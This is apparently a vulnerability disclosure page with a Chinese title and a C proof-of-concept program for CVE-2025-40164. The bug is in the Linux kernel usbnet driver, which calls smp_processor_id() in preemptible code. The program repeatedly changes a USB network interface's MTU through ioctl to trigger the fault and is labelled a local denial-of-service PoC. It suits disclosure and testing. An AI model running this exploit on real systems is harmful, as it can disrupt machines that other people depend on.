Linux内核usbnet驱动smp_processor_id()在可抢占代码中的误用漏洞

// PoC for CVE-2025-40164 // This is a local denial of service PoC that triggers the smp_processor_id() warning // by changing MTU on a USB network interface managed by usbnet driver #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <net/if.h> int main(int argc, char *argv[]) { int sockfd; struct ifreq ifr; if (argc != 2) { printf("Usage: %s <interface_name>\n", argv[0]); return 1; } // Create socket for ioctl sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd < 0) { perror("socket creation failed"); return 1; } memset(&ifr, 0, sizeof(struct ifreq)); strncpy(ifr.ifr_name, argv[1], IFNAMSIZ-1); // Repeatedly change MTU to trigger the warning // This exercises the usbnet_change_mtu -> usbnet_resume_rx -> usbnet_skb_return path for (int i = 0; i < 100; i++) { // Set MTU to trigger usbnet_change_mtu ifr.ifr_mtu = 1500 + (i % 100); if (ioctl(sockfd, SIOCSIFMTU, &ifr) < 0) { perror("ioctl SIOCSIFMTU failed"); } // Small delay to allow scheduling usleep(1000); // Set MTU back ifr.ifr_mtu = 1500; if (ioctl(sockfd, SIOCSIFMTU, &ifr) < 0) { perror("ioctl SIOCSIFMTU failed"); } } close(sockfd); return 0; }